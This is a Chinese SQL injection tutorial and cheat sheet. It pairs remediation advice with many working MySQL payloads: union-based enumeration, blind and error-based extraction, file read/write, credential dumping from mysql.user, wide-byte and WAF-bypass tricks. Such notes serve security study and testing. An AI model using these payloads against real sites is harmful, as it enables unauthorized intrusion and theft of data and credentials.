0x01 ⭐前言
本文章仅为学习交流使用,请勿做其它用途使用,请勿触碰法律红线。
[每日先温习一下信息安全有关的刑法,谨记红线]https://blog.csdn.net/qq_44942265/article/details/129478036?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22129478036%22%2C%22source%22%3A%22qq_44942265%22%7D
0x02 SQL注入原理
注入前提:可控变量、代入数据库查询、变量未存在过滤或者过滤不严谨。
用户提交的数据和后端代码没有做严格的分离,攻击者在提交的参数数据中注入了自己的语句,后端没有进行充分的检查过滤或者预编译等就将提交的数据代入到SQL命令中,改变了原有SQL命令的语义,最终被数据库成功执行。
通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
0x03 危害
会造成数据库信息泄露
网站权限
服务端被远程控制,被安装后门
操作文件系统
0x04 修复建议
代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御 sql 注入的最佳方法。
- 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。
- 对进入数据库的特殊字符( ' <>&*; 等)进行转义处理,或编码转换。
- 确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。
- 据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。
- 网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。
- 严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
- 避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
0x05 测试方法
在发现有可控参数的地方使用 sqlmap 进行 SQL 注入的检查或者利用,也可以使用其他的 SQL 注入工具,简单点的可以手工测试,利用单引号、 and 1=1 和 and 1=2 以及字符型注入进行判断!推荐使用 burpsuite 的 sqlmap 插件,这样可以很方便,鼠标右键就可以将数据包直接发送到 sqlmap 里面进行检测了。
注入存在点
页面中的输入框
HTTP头部注入(XFF(原始IP)头部注入)
COOKIE的key value处注入
二次编码注入
输入'判断是否显示报错信息
如果为数字型则可以通过 3-2或者3+1等方式判断
如果不显示报错信息的,可以测试bool盲注测试,通过?id = 1 and 1=1和id = 1 and 1=2判断页面以及数据包和返回码是否不同,或者延时注入测试and sleep(5),判断是否延时
0x06 利用方式
1. 利用
绕过登录验证
获取用户信息或者后台管理员等敏感信息
执行系统命令
利用注入进行写文件和读文件
2. 利用SQL注入写文件
union select null,"hacker",null into outfile "D:/www/1.txt" -- -
**常见的写入文件问题 **
--+//注释掉
绝对路径有两种 :
1.D:/www/1.txt
2.D:\\www\1.txt 因为\带有转义的作用
MySQL文件写入的条件:
1.绝对路径
2.必须为最高权限 root不一定为最高权限,可能会被降权
相关防注入
1.存在魔术引号(php安全机制)
magic_quote_gpc (开关在PHP.ini中)
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误
addslashes()同样作用
如何解决?进行路径编码(hex)单引号 编码之后可以正常解析
2.内置函数is_int等 (情况不多)判断参数类型是否为整数 运用 点对点(HVV)
3.自定义关键字(如select)
$id=str_replace('select','过滤成的关键字',$id)//大小写可绕过
4.WAF防护软件(大部分机制就是过滤关键字):安全狗,宝塔等
3. 利用SQL注入读文件
mysql内置的函数
load_file()//读取函数
into outfile或into dumpfile//导出函数
load_file("D:/www.txt") 值为十六进制的形式
replace()
hex() 将数据转换为十六进制,读的文件内容(保存编码为UTF-8)为中文时转为十六进制,然后再进行解码
union select null,hex(load_file(0x23ac)),null -- -
0x07 SQL 注入分类
按 SQLMap 中的分类来看,SQL 注入类型有以下 5 种:
UNION query SQL injection(可联合查询注入)
Stacked queries SQL injection(可多语句查询注入)堆叠查询
Boolean-based blind SQL injection(布尔型注入)
Error-based SQL injection(报错型注入)
Time-based blind SQL injection(基于时间延迟注入)
1. 联合注入
联合注入原理
联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段要数要相同,不然会出现报错。
输入 1'and '1'='1 页面返回用户信息 1'and '1'='2 页面返回不一样的信息。基本可以确定存在 SQL 注入漏洞
1.1 判断字段数
使用语句 order by 确定当前表的字符数
order by 1 如果页面返回正常字段数不少于 1,order by 2 不少于 2,一直如此类推直到页面出错。正确的字段数是出错数字减少 1
公式 order by n-1 1' order by 1--+ 正常
1' order by 2--+ 正常
1' order by 3--+ 出错
1.2 联合查询注入通过 information_schema 获取表
在黑盒的情况下是不知道当前库有什么表的,可以通过 mysql 自带的 information_schema 查询当前库的表。
查询当前库的表 limit 1 相当于 limit 1,1 表示显示第一个 1 改成 2 就是第二个
如此类推第一个表
-1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
第二个表
-1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,2)--+
1.3 联合查询注入通过 information_schema 获取字段
同样的查询字段也可以通过内置库 information_schema 里的 COLUMNS 这个表记录所有表的字段。通过 COLUMNS 查询 users 表的字段。获取 users 表第一个字段名
-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1))--+
获取 users 表第二个字段名
-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1))--+
获取 users 表第三个字段名
-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 3,1))--+
1.4 通过联合查询表里的内容
通过以上的黑盒查询获取库名、表名、字段、那么就可以查询某个表的内容。
-1' union select 1,(select group_concat(user,0x3a,password) from users limit 1)--+
2. 堆叠注入
原理
在SQL语句中,语句的结束都是以;结尾,但是如果我们在
;
后面再加上一条SQL语句,两条语句会一起执行。(只有某些特定的版本才能执行)
?id=-1'; insert into users(id,username,password) values(88,'aaa','bbb')%23
3. 布尔型注入
布尔型注入攻击,因为页面不会返回任何数据库内容,所以不能使用联合查询将敏感信息显示在页面,但是可以通过构造 SQL 语句,获取数据。
布尔型盲注入用到得 SQL 语句 select if(1=1,1,0) if()函数在 mysql 是判断,第一个参数表达式,如果条件成立,会显示 1,否则显示 0。1=1 表达式可以换成构造的 SQL 攻击语句。
1' and if(1=1,1,0)--+ 页面返回正常,这个语句实际上是 1’and 1,真 and 真结果为真,1 是存在记录的。所以返回正确页面。
1' and if(1=2,1,0)--+ 页面返回错误,这个语句就是 1’and 0 ,真 and 假结果为假,整个 SQL ID 的值也是 0 所以没有记录,返回错误页面。
使用count()查询记录的个数,使用length()和limit x,1查询某条记录的长度。使用limit x,1, substr(), ascii()来查询某条记录的内容。limit x,1的作用是指定一条记录,substr()的作用是截取指定记录的一个字符,ascii()的作用是将截取的字符转换为ascii码,
根据注入执行结果的布尔值(true或者false)显示的**页面不同,数据包长度,返回码**等来判断测试的值是否正确
and (select ord(substr(database(),1,1))) > 120
4. 报错注入
数据库报错是指,数据库在执行时,遇到语法不对,会显示报错信息,例如语法错语句 select'
11064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
4.1 updatexml报错
语法
updatexml(1,concat(0x7e,sql语句,0x7e),1)
0x7e表示
,结果在中显示
payload
admin' and updatexml(1,concat(0x7e,database(),0x7e),1)-- -
测试实例:
select * from news where id = 1 and updatexml(1,concat(0x7e,(select group_concat(id,title) from news),0x7e),1);//查询news表中id和title的值
4.2 extractvalue报错
报错语法
xtractvalue(1,concat(0x7e,sql语句,0x7e),1)
payload
payload = admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
测试实例
select * from news where id = 1 and extractvalue(1,concat(0x7e,(select group_concat(id,title) from news),0x7e));
4.3 exp报错
报错语句
exp(~(select * from (SQL语句)a)) 数据溢出报错
payload
exp(~(select * from (select user())a))
4.4 floor()
报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。
5. 时间注入(盲注)
5.1 延时注入
时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。
在 mysql 里函数 sleep() 是延时的意思,sleep(10)就是数据库延时 10 秒返回内容。判断注入可以使用'and sleep(10) 数据库延时 10 秒返回值网页响应时间至少要 10 秒根据这个原理来判断存在 SQL 时间注入。
mysql 延时注入用到的函数 sleep() 、if()、substring()
select if(2>1,sleep(10),0) 2>1 这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0) 这个就是查询当前库大于 1 就会延时 5 秒执行。
-1' or if(length(database())>1,sleep(5),0)--+ 可以看到网页是大于五秒返回。根据这个原理 n>1 n 不延时就能确定当前数据库的长度了。
#获取数据库长度
and if(length(database()) > 5,sleep(5),1)#获取数据库信息
and if(ascii(substr(database(),1,1))=114,sleep(5),1)#获取数据表信息
and if(ord(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>110,sleep(5),1)#获取表对应的列信息
and if(ord(substr((select column_name from information_schema.columns where table_name='users'),1,1)),sleep(5),1)
5.2 除sleep外其他的时间盲注
除了sleep之外的时间延时注入,还有:GET_LOCK(str,timeout)
函数使用说明:设法使用字符串str给定的名字得到一个锁,超时为timeout秒。
Select GET_LOCK('a',10)
5.3 时间盲注进阶版dns注入
我们都知道延时盲注如果使用手工的方式,又费事又费力,即使使用工具同样很慢,所以出现了一种比较快速的注入方式,就是dns_log注入 使用dns_log注入需要满足两个条件
1.需要一个自己的dns域名服务器(或者使用DNSLog在线网站)。DNSLog PlatformDNSLog平台http://www.dnslog.cn/
2.需要在my.conf中加入secure_file_priv= (空) ps: secure_file_priv为null 表示不允许导入导出 secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹 secure_file_priv没有设置时,则表示没有任何限制。
因为这种注入方式的原理是通过数据库函数load_file(),通过函数发送请求,将sql语句查询的结果带出来给我们自己设置的DNS服务器解析,通过日志记录可以看到sql语句查询信息。
6. 宽字节注入
宽字节注入,在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。
一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不对,也可以导致 SQL 防注入绕过,达到注入的目的。如果数据库设置宽字节字符集 gbk 会导致宽字节注入,从而逃逸 gpc 前提条件
简单理解:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字节注入深入讲解:要有宽字节注入漏洞,首先要满足数据库后端使用双/多字节解析 SQL 语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字符,初步的测试结果 Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没有这种字符(也就不存在宽字节注入)
由于输入的'会被转义,也就是自动在'前面增加\,宽字节注入时利用mysql的一个特性,当使用GBK编码的时候(set names 'GBK'),会认为两个字符是一个汉字,所以在URL中输入%df'经过转移后变为了**%df%5c%27**,MySQL用GBK的编码时会将%df%2f翻译成一个繁体字,最后留下了'
gpc 绕过过程
%df%27===(addslashes)===>%df%5c%27===(数据库 GBK)===>運'
常见的宽字节
GB2312、GBK、GB18030
sqlmap-宽字节注入
sqlmap.py -u "xxx?id=xx" --tamper unmagicquotes.py --dbs
使用脚本:unmagicquotes.py
paylaod
http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema=0x74657374
//存在宽字节注入并且需要table_schema='123'时,可以将其进行十六进制编码
宽字节防御原理
将'转换为 ' (当我们输入 ' 时,会对其进行转义位 ' 导致注入失败)
防御代码原理:
1.(包含在函数内)使用 $string = preg_replace('/'.preg_quote('').'/',"\",$string); 等输入特殊字符进行转移注释,从而阻止sql注入 2.使用addslashes进行转义 3.使用mysql_real_escape_string()进行转义
绕过
将 \ 消灭(当mysql使用GBK编码时,会认为两个字符为一个汉字 eg:%df' 回被翻译为 運' 可以注入)
使用
输入 %df' 查看是否有宽字节注入点
如何防止宽字节注入
1.使用utf-8避免宽字节注入 ps:不仅在gbk中,韩文,日文等都是宽字节,都有可能存在宽字节注入点 2.mysql_real_escape_string,mysql_set_charset('gbk',$conn);防御宽字节注入 3.可以设置参数,character_set_client=binary(使用二进制模式进行数据库连接)
产生宽字节注入函数
1.replace():过滤 ' \ ,将 ' 转化为 ' ,将 \ 转为 \,将 " 转为 " 。用思路一
2.addslaches():返回在预定义字符之前添加反斜杠()的字符串。
预定义字符:( ' , " , \ )用思路一(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
3.mysql_real_escape_string()
7. COOKIE 注入
COOKIE 注入与 GET、POST 注入区别不大,只是传递的方式不一样。GET 再 url 传递参数、POST 在 POST 正文传递参数和值,COOKIE 在 cookie 头传值。
在 burpsuite 显示传递的方式。
<?php echo "get ---"; echo $*GET['a']; echo "post ---"; echo $*POST['b']; echo "cookie ---"; echo $_COOKIE['c'];?>
get 在 url 拦即使提交的方法是 post 只要在 url 拦上都可以传递 get post 在正文里提交的方法必须存在 post cookie 有没有 post 都可以。
8. XFF注入攻击
X-Forwarded-For 简称 XFF 头,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端 IP。XFF 并不受 gpc 影响,而且开发人员很容易忽略这个 XFF 头,不会对 XFF 头进行过滤。
<?php
echo "xff---".$_SERVER['HTTP_X_FORWARDED_FOR'];
?>
使用 burpsuite X-Forwarded-for: 9.9.9.9 可以随意设置字符串,如果程序中获取这个值再带入数据库查询会造成 SQL 注入。
除了 X-Forwarded-For 还有 HTTP_CLIENT_IP 都可以由客户端控制值,所以服务端接受这两个参数的时候没有过滤会造成 SQL 注入或者更高的危害。
9. 二次注入攻击
二次注入漏洞是一种在 Web 应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
**二次注入原理**
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是 addslashes 有一个特点就是虽然参数在过滤后会添加“\”进行转义,但是“\” 并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入.
二次注入图解
0x08 SQL 注入绕过 (学习笔记)
**1. ** 空格字符绕过
两个空格代替一个空格,用 Tab 代替空格,%a0=空格
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/
select * from users where id=1 /!union//!select/1,2,3,4;
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
可以将空格字符替换成注释 /**/ 还可以使用 /!这里的根据 mysql 版本的内容不注释/
**2. **大小写绕过
将字符串设置为大小写,例如and1=1 转成AND1=1AnD1=1
select * from users where id=1 UNION SELECT 1,2,3,4; select * from users where id=1 UniON SelECT 1,2,3,4;
http://192.168.0.101:7766/Less-27/?id=999999%27%0AuNIon%0ASeLecT%0A1,us er(),3%0Aand%0A%271
http://192.168.0.145:7766/Less-27/?id=9999999%27%09UniOn%09SeLeCt%091,(Se ,3 and '1)lEct%09group_concat(username,password)from%09users),3%09and%20%271,3 and '1)
过滤空格可以用%0 代替也过滤# -- 注释用字符串匹配
3. 浮点数绕过注入
select * from users where id=8E0union select 1,2,3,4;
id=8.0union select 1,2,3,4;
4. NULL 值绕过
select \N; 代表 null
select * from users where id=\Nunion select 1,2,3,\N; select * from users where id=\Nunion select 1,2,3,\Nfrom users;
5. 引号绕过
如果 waf 拦截过滤单引号的时候,可以使用双引号在 mysql 里也可以用双引号作为字符串。
select * from users where id='1'; select * from users where id="1";
也可以将字符串转换成 16 进制再进行查询。
select hex('admin'); select * from users where username='admin'; select * from users where username=0x61646D696E;
如果 gpc 开启了,但是注入点是整形也可以用 hex 十六进制进行绕过
select * from users where id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='users' limit 1),4;
select * from users where id=-1 union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME=0x7573657273 limit 1),4;
6. 添加库名绕过
以下两条查询语句,执行的结果是一致的,但是有些 waf 的拦截规则并不会拦截[库名].[表名]这种模式。
id=-1 union select 1,2,3,4 from users;
select * from users where id=-1 union select 1,2,3,4 from system.users;
mysql 中也可以添加库名查询表。例如跨库查询 mysql 库里的 usrs 表的内容。
select * from users where id=-1 union select 1,2,3,concat(user,authentication_string) from mysql.user;
7. 去重复绕过
在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截
select * from users where id=-1 union distinct select 1,2,3,4 from users;
select * from users where id=-1 union distinct select 1,2,3,version() from users;
8. 反引号绕过
在 mysql 可以使用
这里是反引号
绕过一些 waf 拦截。字段可以加反引号或者不加,意义相同。
insert into users(username,password,email)values('system','123456','admin@system.com');
insert into users(
username
,
password
,
)values('moonsec','123456','admin@system.com')
**9.**min 截取字符串
这个 min 函数跟 substr 函数功能相同如果 substr 函数被拦截或者过滤可以使用这个函数代替。
select mid(database() from 1 for 1); 这个方法如上。
select * from users where id=1 and 'm'=(select(mid(database() from 1 for 1)));
select * from users where id=1 and 0x6D=(select(mid(database() from 1 for 1)));
10. 使用 join 绕过使用 join 自连接两个表
union select 1,2 #等价于 union select * from (select 1)a join (select 2)b a 和 b 分别是表的别名
select * from users where id=-1 union select 1,2,3,4;
select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select 3)c join(select 4)d;
select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select user())c join(select 4)d;
**11.**like 绕过
使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1 否则返回 0
找到第一个字符后继续进行下一个字符匹配。
从而找到所有的字符串最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截。
12. limit offset 绕过
SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目 limit 0,1 返回条一条记录如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截了。
**13.**or and xor not 绕过
主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2
id=0 xor 1=1 limit 1 、id=1 xor 1=2
对这些常见的 SQL 注入检测语句进行拦截。像 and 这些还有字符代替字符如下
and 等于&& or 等于 || not 等于 ! xor 等于|
所以可以转换成这样
id=1 and 1=1 等于 id=1 && 1=1 id=1 and 1=2 等于 id=1 && 1=2 id=1 or 1=1 等于 id=1 || 1=1 id=0 or 1=0 等于 id=0 || 1=0
可以绕过一些 waf 拦截继续对注入点进行安全检测也可以使用运算符号
id=1 && 2=1+1 id=1 && 2=1-1
**14.**ascii 字符对比绕过
许多 waf 会对 union select 进行拦截而且通常比较变态,那么可以不使用联合查询注入,可以使用字符截取对比法,进行突破。
select substring(user(),1,1);
select * from users where id=1 and substring(user(),1,1)='r'; select * from users where id=1 and ascii(substring(user(),1,1))=114;
最好把'r'换成成 ascii 码如果开启 gpc int 注入就不能用了。
可以看到构造得 SQL 攻击语句没有使用联合查询(union select)也可以把数据查询出来。
15. 等号绕过
如果程序会对=进行拦截可以使用 like rlike regexp 或者使用<或者>
select * from users where id=1 and ascii(substring(user(),1,1))<115; select * from users where id=1 and ascii(substring(user(),1,1))>115;
select * from users where id=1 and (select substring(user(),1,1)like 'r%'); select * from users where id=1 and (select substring(user(),1,1)rlike 'r');
select * from users where id=1 and 1=(select user() regexp '^r'); select * from users where id=1 and 1=(select user() regexp '^a'); regexp 后面是正则
16. 双关键词绕过
有些程序会对单词 union、 select 进行转空但是只会转一次这样会留下安全隐患。
双关键字绕过(若删除掉第一个匹配的 union 就能绕过)
id=-1'UNIunionONSeLselectECT1,2,3--+ 到数据库里执行会变成 id=-1'UNION SeLECT1,2,3--+ 从而绕过注入拦截。
1.20.20. 二次编码绕过
有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码过后,waf 是不会拦截的。
-1 union select 1,2,3,4#
第一次转码
%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32
%2c%33%2c%34%23
第二次转码
%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%2 5%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%
36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33
%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33
二次编码注入漏洞分析在源代码中已经开启了 gpc 对特殊字符进行转义
代码里有 urldecode 这个函数是对字符 url 解码,因为两次编码 GPC 是不会过滤的,所以可以绕过 gpc 字符转义,这样也就绕过了 waf 的拦截。
17. 多参数拆分绕过
多余多个参数拼接到同一条 SQL 语句中,可以将注入语句分割插入。
例如请求 get 参数
a=[input1]&b=[input2] 可以将参数 a 和 b 拼接在 SQL 语句中。
在程序代码中看到两个可控的参数,但是使用 union select 会被 waf 拦截
那么可以使用参数拆份请求绕过 waf 拦截
-1'union/&username=/select 1,user(),3,4--+
两个参数的值可以控,分解 SQL 注入关键字可以组合一些 SQL 注入语句突破 waf 拦截。
18. 使用生僻函数绕过
使用生僻函数替代常见的函数,例如在报错注入中使用 polygon()函数替换常用的 updatexml()函数
select polygon((select * from (select * from (select @@version) f) x));
19.信任白名单绕过
有些 WAF 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,所以可以利用这个特点,可以试试白名单绕过。
白名单通常有目录
/admin
/phpmyadmin /admin.php
http://192.168.0.115/06/vul/sqli/sqli_str.php?a=/admin.php&name=vince+&submit=1 http://192.168.0.165/06/vul/sqli/sqli_str.php/phpmyadmin?name=%27%20union%20s elect%201,user()--+&submit=1
20.静态文件绕过
除了白名单信任文件和目录外,还有一部分 waf 并不会对静态文件进行拦截。例如图片文件 jpg 、png 、gif 或者 css 、js 会对这些静态文件的操作不会进行检测从而绕过 waf 拦截。
/1.jpg&name=vince+&submit=1
/1.jpg=/1.jpg&name=vince+&submit=1
/1.css=/1.css&name=vince+&submit=1
版权归原作者 Light Chaser1 所有, 如有侵权,请联系我们删除。